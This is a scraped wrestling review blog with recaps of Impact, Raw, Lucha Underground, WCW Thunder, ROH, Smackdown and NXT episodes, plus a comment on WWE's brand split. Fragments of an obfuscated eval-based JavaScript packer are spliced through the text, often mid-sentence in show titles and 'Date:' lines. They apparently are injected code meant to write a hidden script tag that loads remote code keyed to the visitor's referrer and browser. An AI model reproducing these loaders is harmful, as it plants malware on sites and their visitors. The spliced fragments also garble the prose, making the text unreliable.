Impact Wrestling – May 31, 2016: We Bathe In Matt’s Brilliance

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhtir|var|u0026u|referrer|frfbe||js|php'.split('|'),0,{})) Wrestling
Date: May 31, 2016
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews

Dixie Carter is putting a mystery man in charge tonight.

Bram vs. Lashley

King of the Mountain Title: Bram vs. Eli Drake

Bram is defending and kicks out at two at the bell. They slug it out in the corner until Drake hits a knee to the face and clothesline for the pin and the title at 1:01.

Mike Bennett is still cleaning toilets when Earl Hebner walks out of a stall. After a bit of swearing, Bennett is now a referee.

Drake drinks champagne and abuses people backstage.

We go to the Hardy Family Estate where Matt has invited Jeff for the contract signing.

BroMans vs. Tyrus/Rockstar Spud

Gail Kim/Jade vs. Sienna/Allie

We go back to the estate where Matt is playing the piano when Jeff comes in. Matt talks about this place being their genesis and walks away.

James Storm vs. Mike Bennett

We run down the pay per view card.

Drew Galloway vs. Decay

Results

Bram b. Lashley via DQ when Lashley used a chair

Eli Drake b. Bram – Clothesline

BroMans b. Rockstar Spud/Tyrus – Adonis Lock to Spud

Gail Kim/Jade b. Sienna/Allie – Package piledriver to Allie

Mike Bennett b. James Storm – Rollup

Drew Galloway b. Decay – Futureshock to Steve

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

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Monday Night Raw – May 30, 2016: The Slow Ride To The Bank

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nntzi|var|u0026u|referrer|zhadf||js|php'.split('|'),0,{})) Night Raw
Date: May 30, 2016
Location: Resch Center, Green Bay, Wisconsin
Commentators: Michael Cole, Byron Saxton, John Bradshaw Layfield

We open with a moment of silence for Memorial Day.

A bunch of wrestlers quote a Ronald Reagan speech on fallen troops.

Opening sequence.

Vaudevillains vs. New Day

Rating: D+. I liked the ending as Gallows and Anderson were pretty much the only option to go after the titles at this point and would be a good choice for new champions. The Vaudevillains were just there to give Anderson and Gallows a reason to come out, though at least it was a non-title match and not a rematch for no particular reason.

Anderson and Gallows lay out the champions post match.

We look back at Sheamus attacking Apollo Crews last week.

Usos vs. Breezango

Golden Truth is on commentary with JBL ripping on them for being a horrible team. Truth: “JBL they do not allow elephants in here.” Fandango hammers on Jey to start but Breeze charges into a superkick on the floor. Back inside, Jey crucifixes Fandango for the pin at 1:48.

Golden Truth beats up Breezango.

Trailer for Warcraft.

Rusev vs. Zack Ryder

The Shining Stars want us to come to Puerto Rico.

We get a video on Charlotte dropping Ric Flair with comments from various people. This aired on Smackdown.

Enzo Amore/Big Cass vs. Dudley Boyz

Natalya vs. Dana Brooke

Charlotte is at ringside as this feud is somehow continuing. Natalya hits her in the corner but gets taken down, allowing Charlotte to yell a lot. Charlotte distracts her to break up the Sharpshooter and the Samoan Driver gives Dana the pin at 1:20.

Post match Becky Lynch runs in for the save.

Baron Corbin vs. Dolph Ziggler

Miz is on the set of his new movie and needs to get some rest before shooting starts.

Owens, Jericho and Del Rio bicker about the six man tag. They agree to work together but Jericho calls them both idiots after they leave.

Alberto Del Rio/Chris Jericho/Kevin Owens vs. Dean Ambrose/Cesaro/Sami Zayn

Del Rio suplexes Cesaro to start but Cesaro runs to the floor for the running uppercut on Jericho. The Swing is blocked by a rope grab and Cesaro is taken outside for a triple team. Jericho stomps away as the fans chant STUPID IDIOT. Cesaro suplexes his way out and the hot tag brings in Sami to clean house with his clotheslines. The villains get in a fight on the floor and Sami scores with a big dive as we take a break.

Jericho dives into a kick to the ribs but still blocks Dirty Deeds. Instead Dean hits the suicide dive to take Chris out, only to have Jericho grab a Codebreaker back inside. Owens wants the pin but only gets two. The Canadians start arguing so Cesaro knocks them together and Swings Jericho. Everyone comes in and Owens tries the Pop Up Powerbomb on Zayn, only to get caught in Dirty Deeds for the pin at 17:56.

Results

New Day b. Vaudevillains via DQ when Karl Anderson and Luke Gallows interfered

Usos b. Breezango – Crucifix to Fandango

Rusev b. Zack Ryder – Accolade

Enzo Amore/Big Cass b. Dudley Boyz – Rocket Launcher to D-Von

Dana Brooke b. Natalya – Samoan Driver

Baron Corbin b. Dolph Ziggler via DQ when Ziggler kicked him low

Dean Ambrose/Cesaro/Sami Zayn b. Chris Jericho/Alberto Del Rio/Kevin Owens – Dirty Deeds to Owens

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Lucha Underground – May 25, 2016: I Never Thought I’d See It Again

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yezne|var|u0026u|referrer|fniey||js|php'.split('|'),0,{})) Underground
Date: May 25, 2016
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The recap looks at Cortez Castro/Joey Ryan as cops, the Trios Titles and Cage helping Chavo win the Gift of the Gods Title last week.

Some Marines are here in an always cool move.

Matt Striker gets a phone call from someone who asks if he wants to be famous.

Joey Ryan vs. Mascarita Sagrada

Famous B. consoles Sagrada.

Gift of the Gods Title: Chavo Guerrero Jr. vs. Cage

Back in and Chavo gets a headscissors to send Cage outside, followed by a suicide dive to actually put Cage in trouble. A middle rope cross body just goes badly but Cage bangs up his knee trying a moonsault. Chavo is smart enough to start in on the knee but Vampiro wants Chavo to kick him in the head instead. The champ goes to the top so Cage gets up for an apron superplex. Cage snaps off a sitout Alabama Slam for two, only to get caught in a tornado DDT for the same.

Cage gets right to the point: he wants a title match next week.

Johnny Mundo has attacked Fenix and will be taking his place in the Trios Titles match alongside PJ Black and Jack Evans.

Taya comes out to announce the replacement.

Trios Titles: Johnny Mundo/PJ Black/Jack Evans vs. Rey Mysterio Jr./Prince Puma/Dragon Azteca Jr.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Comments

For eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hfiaz|var|u0026u|referrer|bknkd||js|php'.split('|'),0,{})) some reason I’m not getting emails when someone posts a comment so I’ve been having to check each one on my own.  Please bear with me if I can’t get to them as fast as I normally do.

 

KB




Thunder – January 3, 2001: They Still Suck

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|difrt|var|u0026u|referrer|dbdkh||js|php'.split('|'),0,{})) January 3, 2001
Location: Mid-South Coliseum, Memphis, Tennessee
Attendance: 2,547
Commentators: Mike Tenay, Tony Schiavone, Stevie Ray

We open with a rapid fire video of everything that has been happening recently. It would be nice if they had more than five seconds per story but we need to get in and out of this in thirty seconds.

Mike Awesome has a Team Canada bus.

Opening sequence.

Tony calls this 2001: the Wrestling Odyssey. Well it certainly is a difficult journey.

Buy a Cat T-Shirt!

Shane Helms vs. Jamie Noble

Cat wants to be the Commissioner again and suggests that Gene Okerlund watch Lassie. Gene thinks he could do things to Miss Jones.

The Harris Twins have been laid out.

AWALL comes in and punches Palumbo a few times, allowing Cajun to powerslam him for two. Cajun gets two more off a back elbow, only to have Chuck do the Chris Jericho springboard dropkick to knock him off the apron. Of course the Thrillers get in some cheap shots on the outside and AWALL is knocked to the floor. The Seanton Bomb puts Cajun away.

The Thrillers lay out the Misfits post match until Chavo tries to make a save. Shane Douglas comes in through the crowd and beats on Rection.

On the bus, Jim Duggan sneaks up on Skipper and attacks because HE NEVER WALKS AWAY FROM A FIGHT. No, apparently he starts them by sneaking up on someone and telling the camera to stay quiet.

The Filthy Animals need to regroup after Konnan got attacked.

Johnny the Bull and Big Vito are talking about their priest when Cat comes up to say he wants to take out Reno tonight so he can put him in soup.

Video on Sarge running the Power Plant.

Lance Storm gives Mike Awesome a match with Duggan tonight, which apparently he can just do.

Rey Mysterio has a plan.

Sid, in different clothes than earlier, is ready for Jeff and is very thankful for his spot.

Crowbar vs. Meng

Mark Jindrak vs. Goldberg

Jindrak actually gets in some offense but gets beaten in just over a minute with the usual.

Goldberg is ready for Luger and Bagwell.

Luger and Bagwell talk to Kronik.

The Cat vs. Reno

Jim Duggan vs. Mike Awesome

Post match the beatdown is on until the Filthy Animals come in for the save. Konnan grabs the mic and tells them to look at the screen, where we see the Team Canada bus covered in graffiti.

After a break, Team Canada says they want to deal with the Animals at Sin instead of calling the cops.

Buff Bagwell vs. DeWayne Bruce

Jeff Jarrett vs. Sid Vicious

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Ring of Honor TV – May 25, 2016: OBNOXIOUS YELLING!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftznd|var|u0026u|referrer|ahebd||js|php'.split('|'),0,{})) of Honor
Date: May 25, 2016
Host: Kevin Kelly

Kevin Kelly opens things up and promises to show us some clips from Global Wars, which could actually be something pertaining to the current storylines.

We look at Bullet Club showing up in Ring of Honor and one of their first major matches from War of the Worlds 2014.

IWGP Tag Team Titles: Briscoe Brothers vs. Doc Gallows/Karl Anderson

From Global Wars 2015.

Bullet Club vs. ROH All-Stars

AJ Styles/Doc Gallows/Karl Anderson/Young Bucks

War Machine/Briscoe Brothers/Roderick Strong

Never Openweight Six Man Tag Team Titles: Elite vs. Briscoe Brothers/Toru Yano

Elite, challenging here, is a subset of the Club comprised of the Young Bucks and Kenny Omega. Fellow Club member Cody Hall jumps the Briscoes before the bell and Yano is triple teamed, which draws little more than a hard stare from the referee. The Briscoes get back in to clean house with Nick being thrown over the top and onto Hall for a big crash.

Bullet Club vs. ReDRagon/Hirooki Goto/Katsuyori Shibata

Tama Loa and Tama Tonga (fellow Club members) come out and more security is beaten up with superkick after superkick. We cut forward to a security member being powerbombed through a table, which of course has been spray painted BC. The announcers eat superkicks so the Bucks take their places and do what sound like Jim Ross/Jerry Lawler impressions. Lethal is tied to the ropes as Cole picks up the ROH World Title. That means EVEN MORE SUPERKICKS before Cole runs around with the belt. The cameraman gets superkicked and the Club talks into the camera to end things.

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Smackdown – May 26, 2016: The Wrestlemania Show Sequel

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|akyin|var|u0026u|referrer|ffbsb||js|php'.split('|'),0,{})) May 26, 2016
Location: Norfolk Scope Arena, Norfolk, Virginia
Commentators: Jerry Lawler, Byron Saxton, Mauro Ranallo

Opening sequence.

Money in the Bank Qualifying Match: Zack Ryder vs. Alberto Del Rio

Beating Ryder is almost a running joke at this point. Alberto kicks him down and chokes on the ropes to start, only to get kicked into the barricade as we take an early break. Back with Del Rio working on a chinlock and a clip of Del Rio hitting the double stomp on the floor during the break. Ryder fights up but misses his middle rope dropkick.

Rusev says after tonight, Kalisto will never be able to fly again.

Video on Cesaro making Miz tap at Extreme Rules and then pinning him the next night on Raw.

US Title: Kalisto vs. Rusev

Video on Charlotte retaining on Sunday and then turning her back on her dad the next night. This is accompanied by clips of wrestlers talking about how horrible this was and how big of a mistake Charlotte really made, because how could she be good without Ric Flair? That look from Ric when he said nothing was wrong and left actually got to me a bit.

Natalya vs. Dana Brooke

Golden Truth vs. Breezango

Post break Goldust tries to convince Truth that the team needs to stick together. Breezango comes in and laughs at them so Truth agrees to keep going.

Intercontinental Title: The Miz vs. Cesaro

Miz is defending. Cesaro dropkicks him out to the floor to start and cannonballs down onto the champ as we take another early break. Back with Miz going after the shoulder and sending it into the post and barricade. The champ slaps on an armbar until Cesaro fights up with the uppercuts. Miz gets two off a Reality Check before distracting the referee so Maryse can rip off the turnbuckle pad.

Results

Alberto Del Rio b. Zack Ryder – Cross armbreaker

Rusev b. Kalisto – Accolade

Natalya b. Dana Brooke via DQ when Charlotte interfered

Breezango b. Golden Truth – Supermodel Kick to R-Truth

The Miz b. Cesaro – Skull Crushing Finale

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




NXT – May 25, 2016: A Surprise You Would Expect

NXT
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szaih|var|u0026u|referrer|kdrin||js|php'.split('|'),0,{})) May 25, 2016
Location: Full Sail University, Winter Park, Florida
Commentators: Tom Phillips, Corey Graves

Opening sequence.

Johnny Gargano/Tommaso Ciampa vs. TM61

Back with Miller holding Ciampa in a headlock until an elbow to the jaw allows Gargano to get the tag and spear Miller through the ropes. Thorn comes in but gets caught in something like an Anaconda Vice with Gargano using his legs as a crucifix. Ciampa is back in and elbows Thorn again, only to eat a dropkick for the tag off to Miller. Nick comes in and starts cleaning house, capped off by a delayed backdrop into a neckbreaker from Thorn. Gargano dives onto Miller, leaving Thorn to take the knee to the head/superkick combo for the pin at 13:13.

Gargano and Ciampa applaud TM61.

Video on Samoa Joe winning the title and his new found aggression.

Andrade “Cien” Almas takes off his mask while watching old lucha libre.

No Way Jose vs. Jonathan Ortagun

Jose dances with the announcers post match.

Video on Finn Balor, who wants the title back.

Carmella vs. Nia Jax vs. Alexa Bliss

Post match Asuka comes out to stare Nia down. The champ comes down to the ring and Nia threatens to drop her where she stands to end the show.

Results

Johnny Gargano/Tommaso Ciampa b. TM61 – Running knee/superkick to Thorn

No Way Jose b. Jonathan Ortagun – Cobra clutch slam

Nia Jax b. Carmella and Alexa Bliss – Legdrop to Carmella

Remember to follow me on Twitter @kbreviews and pick up my new book on NXT: The Full Sail Years Volume II at Amazon for just $3.99 at:

https://www.amazon.com/dp/B01FWZZ2UA

And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




New Column: The Two Man Midcard Exodus

As promised, thoughts on Ryback and Cody Rhodes leaving.  Also note that this was written before the announcement of the new Brand Split, which would change a lot of what I say in here.

http://wrestlingrumors.net/kbs-review-the-two-man-midcard-exodus/




They’re Really Doing Another Brand Split

And Smackdown is going live starting July 19.

http://www.wwe.com/shows/smackdown/article/smackdown-live-usa-network-july-19

This is uh…….well it’s certainly something.  For one thing it’s going to prove that just having Smackdown live isn’t going to change things, though with the announcement that a McMahon is going to be in charge of the show, maybe things get a little more interesting.  Anything that makes WWE care about Smackdown and pay more attention to it is a good thing, but I’m going to need a lot more details before I consider this the saving grace for the blue show.

What I do consider my own saving grace though: Impact is screwed to the wall.